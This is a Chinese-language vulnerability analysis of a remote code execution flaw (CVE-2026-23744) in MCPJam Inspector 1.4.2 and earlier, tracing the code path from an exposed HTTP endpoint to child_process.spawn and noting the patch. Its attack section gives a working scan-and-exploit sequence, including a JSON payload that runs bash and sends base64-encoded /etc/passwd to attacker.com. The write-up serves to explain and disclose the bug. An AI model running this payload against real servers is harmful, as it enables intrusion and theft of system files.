漏洞简介

MCPJam 检查器是本地优先的 MCP 服务器开发平台。1.4.2及更早版本存在远程代码执行(RCE)漏洞,攻击者可以通过发送精心设计的HTTP请求,触发MCP服务器的安装,从而导致RCE。由于MCPJam检查器默认监听的是0.0.0.0而非127.0.0.1,攻击者可以通过简单的HTTP请求远程触发RCE。1.4.3版本包含补丁。

漏洞影响

版本:<= 1.4.2

漏洞分析

前端构造

攻击者进行攻击:

# 1. 发现目标(扫描网络)
nmap -p 6274 10.97.58.0/24
# 发现 10.97.58.83:6274 开放

# 2. 验证服务
curl http://10.97.58.83:6274/health
# 返回: {"status":"ok","timestamp":"..."}

# 3. 构造RCE攻击载荷
cat > exploit.json << EOF
{
  "serverId": "evil-server",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "id > /tmp/hacked.txt && curl http://attacker.com/steal?data=$(cat /etc/passwd | base64)"],
    "env": {}
  }
}
EOF

# 4. 发起攻击
curl -X POST http://10.97.58.83:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  --data-binary @exploit.json

后端响应


const server = serve({
  fetch: app.fetch,
  port: SERVER_PORT,
  hostname: "0.0.0.0", // Bind to all interfaces for Docker
});

hostname指接收所有网络接口的连接

fetch指请求交给app处理

​

该处创建Hono类的新实例,注册全局错误处理器(返回链式调用的Hono实例),然后将结果赋值给 app

// Hono 的基本类型定义(TypeScript):
interface Hono {
  // 核心方法
  fetch(request: Request): Promise<Response>
  
  // HTTP方法
  get(path: string, handler: Handler): Hono
  post(path: string, handler: Handler): Hono
  put(path: string, handler: Handler): Hono
  delete(path: string, handler: Handler): Hono
  patch(path: string, handler: Handler): Hono
  
  // 路由
  route(path: string, subApp: Hono): Hono
  
  // 中间件
  use(path: string, middleware: Middleware): Hono
  use(middleware: Middleware): Hono
  
  // 错误处理
  onError(handler: ErrorHandler): Hono
  
  // 其他实用方法
  mount(path: string, app: Hono): Hono
  notFound(handler: Handler): Hono
}

上面是基于Hono官方文档和公开API


Hono框架的路由委托机制

允许将路由组织成模块化的树形结构

其存在三种形式:

形式1:app.route(prefix, subApp) - 路径前缀委托

// 这是我们在漏洞代码中看到的形式
app.route("/api/mcp", mcpRoutes);
// 所有以 /api/mcp 开头的请求都委托给 mcpRoutes

形式2:app.mount(prefix, subApp) - 完全委托(已弃用)

// mount与route类似,但语义略有不同
app.mount("/admin", adminApp);

形式3:中间件形式的路由

// 使用use实现类似效果
app.use("/api/*", (c, next) => {
  // 可以在这里处理 /api/* 的请求
  return next();
});
原始请求:    GET /api/mcp/connect
              ↓ app.route("/api/mcp", mcpRoutes)
传递给mcpRoutes: GET /connect
              ↓ mcpRoutes内部处理
最终处理:       取决于mcpRoutes内部的路由配置




由于请求是/api/mcp/connect,经过Hono框架的路由委托机制

我们走到这里,将 /api/mcp/* 的所有请求路由集中到到 mcpRoutes 处理

​


这里从./routes/mcp/index导入mcpRoutes,那么为了匹配剩下的/connect,此时应该跳转到./routes/mcp/index文件了

​


这里从./connect导入connect

​


将/connect丢给connect处理,也就是/routes/mcp/connect文件

​


在这里处理攻击者通过/api/mcp/connect传输的post请求

​

const { serverConfig, serverId } = await c.req.json();


解析攻击者的JSON

​

if (!serverId) {
      return c.json(
        {
          success: false,
          error: "serverId is required",
        },
        400,
      );
    }

    if (serverConfig.url) {
      if (typeof serverConfig.url === "string") {
        serverConfig.url = new URL(serverConfig.url);
      } else if (
        typeof serverConfig.url === "object" &&
        serverConfig.url.href
      ) {
        serverConfig.url = new URL(serverConfig.url.href);
      }
    }


再经过两个不涉及安全的基本验证

​

const mcpClientManager = c.mcpClientManager;


获取MCPClientManager

​


说明MCPClientManager来自/sdk

​

 await mcpClientManager.connectToServer(serverId, serverConfig);


传入用户控制的数据command 和 args 传入MCPClientManager

​

async connectToServer(serverId: string, config: MCPServerConfig)


检查类型:是否是Stdio模式

如果是,就进入


调用 connectViaStdio()

​


通过config: StdioServerConfig接收

​

const underlying = new StdioClientTransport({
      command: config.command,
      args: config.args,
      env: { ...getDefaultEnvironment(), ...(config.env ?? {}) },
    });


这里传入给StdioClientTransport

​

{ command: "bash", args: ["-c", "恶意命令"] }

StdioClientTransport在是MCP SDK 包(@modelcontextprotocol/sdk)中的一个类。它的构造函数内部调用了 Node.js 内置的 child_process.spawn(),该函数再接收用户控制的数据command 和 args并执行其内容,最终导致RCE的现成

​

官方修复

仅允许本地访问

参考

https://github.com/MCPJam/inspector/commit/e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7ahttps://github.com/MCPJam/inspector/blob/v1.3.15/server/routes/mcp/connect.ts

https://www.cve.org/CVERecord?id=CVE-2026-23744

具体复现可看这里:https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6